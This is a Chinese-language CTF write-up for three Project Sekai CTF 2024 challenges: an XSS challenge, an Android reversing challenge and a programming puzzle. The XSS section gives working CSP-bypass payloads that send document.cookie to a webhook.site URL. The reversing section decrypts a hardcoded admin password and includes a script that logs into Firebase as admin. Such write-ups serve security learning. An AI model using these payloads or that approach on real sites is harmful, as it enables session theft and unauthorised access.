# Project Sekai CTF 2024 Writeup by ICEDTEA ## WEB ### Tagless > Solver: Whale120 一道XSS的題目 **app.py** ```py from flask import Flask, render_template, make_response,request from bot import * from urllib.parse import urlparse app = Flask(__name__, static_folder='static') @app.after_request def add_security_headers(resp): resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;" return resp @app.route('/') def index(): return render_template('index.html') @app.route("/report", methods=["POST"]) def report(): bot = Bot() url = request.form.get('url') if url: try: parsed_url = urlparse(url) except Exception: return {"error": "Invalid URL."}, 400 if parsed_url.scheme not in ["http", "https"]: return {"error": "Invalid scheme."}, 400 if parsed_url.hostname not in ["127.0.0.1", "localhost"]: return {"error": "Invalid host."}, 401 bot.visit(url) bot.close() return {"visited":url}, 200 else: return {"error":"URL parameter is missing!"}, 400 @app.errorhandler(404) def page_not_found(error): path = request.path return f"{path} not found" if __name__ == '__main__': app.run(debug=True) ``` bot的部分就是再正常不過的Chrome無頭瀏覽器設定好cookie(flag)後造訪。 先來看csp: ```csp script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com; ``` `script-src`的部分設定了self,再仔細看看網站404的功能會發現他完整輸出了path,那不就跟[利用jsonp bypass csp(link)](https://hurricanelabs.com/blog/bypassing-csp-with-jsonp-endpoints/)的trick有異曲同工之妙,簡單舉個例子: 在這裡,我可以透過造訪`http://127.0.0.1:5000/**/alert(1);//.js`獲得一段像這樣的內容: ![image](https://hackmd.io/_uploads/ry_BgO_sA.png) 這不就裸裸的js codeㄌ 引入js這塊算解決了...嗎? 答案是否定的,看看index.html和app.js **index.html** ```html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Tagless</title> <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"> <link rel="stylesheet" href="https://unpkg.com/nes.css@2.3.0/css/nes.css" /> <style> body, html { height: 100%; margin: 0; display: flex; justify-content: center; align-items: center; background-color: #212529; color: #fff; font-family: 'Press Start 2P', cursive; } .container { text-align: center; } .nes-field, .nes-btn { margin-top: 20px; } iframe { width: 100%; height: 300px; border: none; margin-top: 20px; color: #212529; background-color: #FFF; font-family: 'Press Start 2P', cursive; } .nes-container.is-dark.with-title { background-color: #212529; } </style> </head> <body> <div class="container"> <section class="nes-container with-title is-centered is-dark"> <h2 class="title">Tagless Display</h2> <div class="nes-field is-inline"> <label for="userInput" class="nes-text is-primary">Your Message:</label> <input type="text" id="userInput" class="nes-input" placeholder="Hello, Retro World!"> </div> <button id="displayButton" type="button" class="nes-btn is-primary">Display</button> <div class="output"> <iframe id="displayFrame"></iframe> </div> </section> </div> <script src="/static/app.js"></script> </body> </html> ``` 怎麼樣,看起來是不是會被塞進iframe,那iframe有個特性,就是所有被執行的javascript必須是被嵌入的網站本身有的,或者在iframe裡面有個 `srcdoc` 的選項,詳細資訊可以看這篇:[huli大大的筆記](https://blog.huli.tw/2022/04/07/iframe-and-window-open/) 不過更重要的,先來看app.js! **app.js** ```js document.addEventListener("DOMContentLoaded", function() { var displayButton = document.getElementById("displayButton"); displayButton.addEventListener("click", function() { displayInput(); }); }); function sanitizeInput(str) { str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, ''); return str; } function autoDisplay() { const urlParams = new URLSearchParams(window.location.search); const input = urlParams.get('auto_input'); displayInput(input); } function displayInput(input) { const urlParams = new URLSearchParams(window.location.search); const fulldisplay = urlParams.get('fulldisplay'); var sanitizedInput = ""; if (input) { sanitizedInput = sanitizeInput(input); } else { var userInput = document.getElementById("userInput").value; sanitizedInput = sanitizeInput(userInput); } var iframe = document.getElementById("displayFrame"); var iframeContent = ` <!DOCTYPE html> <head> <title>Display</title> <link href="https://fonts.googleapis.com/css?family=Press+Start+2P" rel="stylesheet"> <style> body { font-family: 'Press Start 2P', cursive; color: #212529; padding: 10px; } </style> </head> <body> ${sanitizedInput} </body> `; iframe.contentWindow.document.open('text/html', 'replace'); iframe.contentWindow.document.write(iframeContent); iframe.contentWindow.document.close(); if (fulldisplay && sanitizedInput) { var tab = open("/") tab.document.write(iframe.contentWindow.document.documentElement.innerHTML); } } autoDisplay(); ``` 呵呵,有趣了,所有的html tag都會被過濾,不過其實在瀏覽器上可以使用`<img src='meowmeow.jpg'`之類的方法插入一個html tag,但也只有一個可以插 :D 那不管,先來想想用現有的材料可以怎麼玩ㄅ 一開始的想法是利用 iframe 的 srcdoc inject 一段javascript程式碼就好,防止html標籤被過濾甚至可以用 src 再加上`data:text/html;base64,`把他編碼,於是先嘗試這段payload: ``` http://127.0.0.1:5000/?auto_input=%3Ciframe%20src=%22data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly8xMjcuMC4wLjE6NTAwMC8qKi9hbGVydCgxKTsvLy5qcyIvPg==%22 ``` 把`<script src="http://127.0.0.1:5000/**/alert(1);//.js" ></script>`base64 encode,然後自己塞一個初始化就有js的frame就彈出來ㄌ,然而...有這麼容易嗎? ![image](https://hackmd.io/_uploads/Hk2pU_OiR.png) 並沒有,再塞入像是 `<script src="http://127.0.0.1:5000/**/location.href='https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie;//.js" ></script>` 這樣的payload試著偷cookie後就發現轉不出去,為什麼呢? ![image](https://hackmd.io/_uploads/rkwKwOOjA.png) 因為iframe內部的location並不是網站的location,導致他根本不能吃網站的location... 回去看一下404頁面,其實他能做的不只有任意的js,在瀏覽器裡面,他會根據前面的內容決定用什麼方法Render資訊(譬如說xml, html還是單純文字輸出),所以最後的做法就是把xss透過404 page inject進去,最後再去iframe他,規避掉<>過濾的方法可以用urlencode就好: final payload: ``` http://127.0.0.1:5000/?auto_input=%3Ciframe%20src%3D%22http%3A%2F%2F127.0.0.1%3A5000%2F%26lt%3Bscript%20src%3D%26quot%3Bhttp%3A%2F%2F127.0.0.1%3A5000%2F%2A%2A%2F%20location.href%3D%26%2339%3Bhttps%3A%2F%2Fwebhook.site%2Fd37cfcd6-38b3-4333-affe-c5ca094a0f5a%2Fa%26%2339%3B%2Bdocument.cookie%3B%2F%2F.js%26quot%3B%26gt%3B%26lt%3B%2Fscript%26gt%3B%22 ``` 然後再url encode一次(bot會把他先decode再送去瀏覽器) 欸...不是啊,所以前面iframe那麼多在幹嘛? ~~直接丟一個~~`http://127.0.0.1:5000/<script src="http://127.0.0.1:5000/**/ fetch('https://webhook.site/d37cfcd6-38b3-4333-affe-c5ca094a0f5a/'+document.cookie);//.js"></script>`結束這回合不就得了...? ![image](https://hackmd.io/_uploads/SyMC-K_iA.png) 喔對,他沒給bot GUI介面,自己發CURL ![image](https://hackmd.io/_uploads/BJqxcO_sR.png) 好啦因為走遠路多學了好多東西,分享一下>W< > FLAG: SEKAI{w4rmUpwItHoUtTags} ## Reverse ### Crack Me > Solver: Whale120 先丟 [decompile(link)](https://www.decompiler.com/jar/7028603f8f0f482eb1f757ffefee74aa/CrackMe.apk) 首先起手式逛了一下`/sources/com/SekaiCTF/CrackMe`,沒有東西... 痾...直接裝起來看ㄅ: ![image](https://hackmd.io/_uploads/S1BOTnuiR.png) Ok,登入頁面那邊有個是不是Admin的提示,grep一下Admin這個字串找檔案,發現 `./resources/assets/index.android.bundle` 參考[這篇(link)](https://book.jorianwoltjer.com/mobile/reversing-apks#react-native) 拆開來翻找一下找到`443.js`,看起來蠻有趣的。 觀察這一段程式碼: ![image](https://hackmd.io/_uploads/rkfZGpdiR.png) 上面這段也點了從哪裡抓flag ![image](https://hackmd.io/_uploads/HyeVfadoC.png) 看起來邏輯長這樣:從477.js initial了app、也會從456.js抓key和iv出來做加密,所以把這些資訊摳出來: **477.js** ```js var c = { apiKey: 'AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk', authDomain: 'crackme-1b52a.firebaseapp.com', projectId: 'crackme-1b52a', storageBucket: 'crackme-1b52a.appspot.com', messagingSenderId: '544041293350', appId: '1:544041293350:web:2abc55a6bb408e4ff838e7', measurementId: 'G-RDD86JV32R', databaseURL: 'https://crackme-1b52a-default-rtdb.firebaseio.com', }; exports.default = c; ``` **456.js** ```js var _ = { LOGIN: 'LOGIN', EMAIL_PLACEHOLDER: 'user@sekai.team', PASSWORD_PLACEHOLDER: 'password', BEGIN: 'CRACKME', SIGNUP: 'SIGN UP', LOGOUT: 'LOGOUT', KEY: 'react_native_expo_version_47.0.0', IV: '__sekaictf2023__', }; exports.default = _; ``` 先從456.js的資訊還原密碼 ```py from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import binascii KEY = 'react_native_expo_version_47.0.0' IV = '__sekaictf2023__' key_bytes = KEY.encode('utf-8') iv_bytes = IV.encode('utf-8') ciphertext_hex = '03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524' ciphertext_bytes = binascii.unhexlify(ciphertext_hex) cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes) decrypted = unpad(cipher.decrypt(ciphertext_bytes), AES.block_size) decrypted_password = decrypted.decode('utf-8') print(decrypted_password) ``` 解出來是`s3cr3t_SEKAI_P@ss` 拿到資訊之後上網看一下怎麼連,然後~~求助億下ChatGPT~~,最後寫出腳本撈flag ```py import requests import json api_key = "AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk" database_url = "https://crackme-1b52a-default-rtdb.firebaseio.com" email = "admin@sekai.team" password = "s3cr3t_SEKAI_P@ss" login_url = f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={api_key}" login_payload = { "email": email, "password": password, "returnSecureToken": True } login_response = requests.post(login_url, data=json.dumps(login_payload), headers={"Content-Type": "application/json"}) login_response.raise_for_status() id_token = login_response.json().get("idToken") if not id_token: raise Exception("Failed to get ID Token") print("Login successful") user_id = login_response.json().get("localId") flag_path = f"/users/{user_id}/flag" data_url = f"{database_url}{flag_path}.json?auth={id_token}" response = requests.get(data_url) if response.status_code == 200: flag_data = response.json() print(f"Flag: {flag_data}") else: print(f"Error retrieving data: {response.status_code} {response.text}") ``` ![image](https://hackmd.io/_uploads/S1F346djR.png) > Flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???} ## PPC WTF? CTF比賽打競程,認真? 對 :D,主辦2022的時候的題目沒用到覺得很可惜 ... ### Miku vs. Machine > Solver: Whale120 題目敘述: ![image](https://hackmd.io/_uploads/r1daJtuoC.png) 基本上我的做法就是直接構造l=n,然後for迴圈刷過去每場安排每個id的表演者都表演n單位時間直到他現在的總表演時間加起來已經夠了,那就切下一位表演者,簡單的乘除就可以知道這樣的構造一定會對。 **solve.cpp** ```cpp #include<bits/stdc++.h> using namespace std; void solve(){ int n, m, cur, amt; cin >> n >> m; amt=m; cur=1; cout << n << '\n'; for(int i=1;i<=m;i++){ if(amt >= n){ cout << n << ' ' << cur << ' ' << 0 << ' ' << cur << '\n'; amt-=n; } else{ cout << amt << ' ' << cur << ' ' << n-amt << ' ' << cur+1 << '\n'; cur++; amt=m-(n-amt); } } } int main(){ int t; cin >> t; while(t--){ solve(); } return 0; } ``` ![image](https://hackmd.io/_uploads/HyA3eK_iC.png) > Flag: SEKAI{t1nyURL_th1s:_6d696b75766d}